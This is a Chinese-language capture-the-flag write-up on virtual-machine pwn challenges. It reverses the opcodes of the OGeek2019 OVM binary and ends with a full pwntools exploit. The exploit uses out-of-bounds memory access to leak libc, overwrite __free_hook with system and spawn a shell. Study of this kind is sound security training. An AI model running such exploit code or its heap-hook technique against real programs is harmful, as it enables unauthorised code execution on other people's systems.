这篇用来记录VM PWN
先申明本篇文章资料来源:
https://blog.csdn.net/weixin_44145820/article/details/106600382
https://www.anquanke.com/post/id/208450#h2-1
https://xz.aliyun.com/t/6865
文章目录
vm pwn最关键的就是逆向相关程序,理解每个指令的作用,漏洞大多数都是数组越界
先介绍一些基础的概念:
1.虚拟机保护技术
所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。
2.VStartVM
虚拟机的入口函数,对虚拟机环境进行初始化
3.VMDispather
解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环
4.opcode
程序可执行代码转换成的操作码
寄存器
PC 程序计数器,他存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令
SP 指针寄存器,永远指向当前栈顶。
BP 基质指针。也是用于指向栈的某些位置,在调用函数的时候会用到它
AX 通用寄存器,我们的虚拟机中,它用于存放一条指令执行后的结果
在程序中 PC的初始值指向目标代码的 main 函数
指令集
虚拟机定义的时候 会定义一个 全局变量的 枚举类型 里面有我们需要的指令
如 :MOV,ADD 之类的
vm pwn会模拟出stack,寄存器,内存
[OGeek2019 Final]OVM
非常基础的一道vm pwn
先看main函数
读入pc,sp,codesize,code,然后执行execute,最后再往comment[0]所指向的地址写入内容,然后free comment[0]
看看execute函数
这里是本题最重要的部分,要仔细慢慢地逆向每个opcode
本题使用的是定长指令,一共32bits,每一个占8bits,操作码占用8bits,寄存器只占4bits,一共16个寄存器,格式如下
操作码 | 目的寄存器编号 | 操作数2寄存器编号 | 操作数1寄存器编号
模拟的寄存器,stack和内存
在这些数据的上方,可以找到stderr的指针,利用它可以得到_IO_2_1_stderr_的地址,该地址+0x10A8即为_free_hook
以下分析借用L.o.W师傅的
dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]
0x10:
dst = a1&0xff
0x20:
dst = ((a1&0xff)==0)
0x30:
dst = memory[op1]
0x40:
memory[op1] = dst
0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst
0x60:
reg[13]--
dst = stack[reg[13]]
0x70:
dst = op1 + op2
0x80:
dst = op2 - op1
0x90:
dst = op1 & op2
0xA0:
dst = op1 | op2
0xB0:
dst = op1 ^ op2
0xC0:
dst = op2 << op1
0xD0:
dst = op2 >> op1
0xE0:
running=0
if !reg[13]:
exit
show all reg
我们可以看到
内存读写是没有检查下标的,这样就会产生数组越界漏洞
本题思路:
①利用数组越界漏洞让reg[2]和reg[3]得到_IO_2_1_stderr的地址
②利用指令组成出0x10A0
③让reg[2]+0x10A0
④利用数组越界把reg[2]和reg[3]的地址写入comment[0],也就是把free_hook-8的地址写入comment[0],然后退出打印所有寄存器的值,得到libc
⑤把/bin/sh和system写入comment[0],修改free_hook为system,最后sendcomment触发free来getshell
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './ovm'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc_buu = '/root/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
def opcode(code, dst, op1, op2):
res = code<<24
res += dst<<16
res += op1<<8
res += op2
return str(res)
r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
sl(opcode(0x10, 0, 0, 26)) #reg[0] = -26
sl(opcode(0x80, 1, 1, 0)) #reg[1] = -26
sl(opcode(0x30, 2, 0, 1)) #reg[2] = memory[reg[1]]
sl(opcode(0x10, 0, 0, 25)) #reg[0] = 25
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 0)) #reg[1] = -25
sl(opcode(0x30, 3, 0, 1)) #reg[3] = memory[reg[1]]
sl(opcode(0x10, 4, 0, 1)) #reg[4] = 1
sl(opcode(0x10, 5, 0, 12)) #reg[5] = 12
sl(opcode(0xc0, 4, 4, 5)) #reg[4] = 1<<12 = 1000
sl(opcode(0x10, 5, 0, 0xa)) #reg[5] = 0xa
sl(opcode(0x10, 6, 0, 4)) #reg[6] = 4
sl(opcode(0xc0, 5, 5, 6)) #reg[5] = 0xa0
sl(opcode(0x70, 4, 4, 5)) #reg[4] = reg[4]+reg[5] = 0x10a0
sl(opcode(0x70, 2, 4, 2)) #reg[2] = reg[4]+reg[2]
sl(opcode(0x10, 4, 0, 8)) #reg[4] = 8
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 4)) #reg[1] = 0-8 = -8
sl(opcode(0x40, 2, 0, 1)) #memory[reg[1] = reg[2]]
sl(opcode(0x10, 5, 0, 7)) #reg[5] = 7
sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0
sl(opcode(0x80, 1, 1, 5)) #reg[1] = reg[1] - reg[4] = -7
sl(opcode(0x40, 3, 0, 1)) #memory[reg[1]] = reg[3]
sl(opcode(0xe0, 0, 0, 0)) #exit
ru('R2: ')
low = int(rc(8), 16) + 8
ru('R3: ')
high = int(rc(4), 16)
print hex(low), hex(high)
libc_base = (high<<32) + low - libc.sym['__free_hook']
info('libc_base', libc_base)
system = libc_base + libc.sym['system']
sl('/bin/sh\x00'+p64(system))
r.interactive()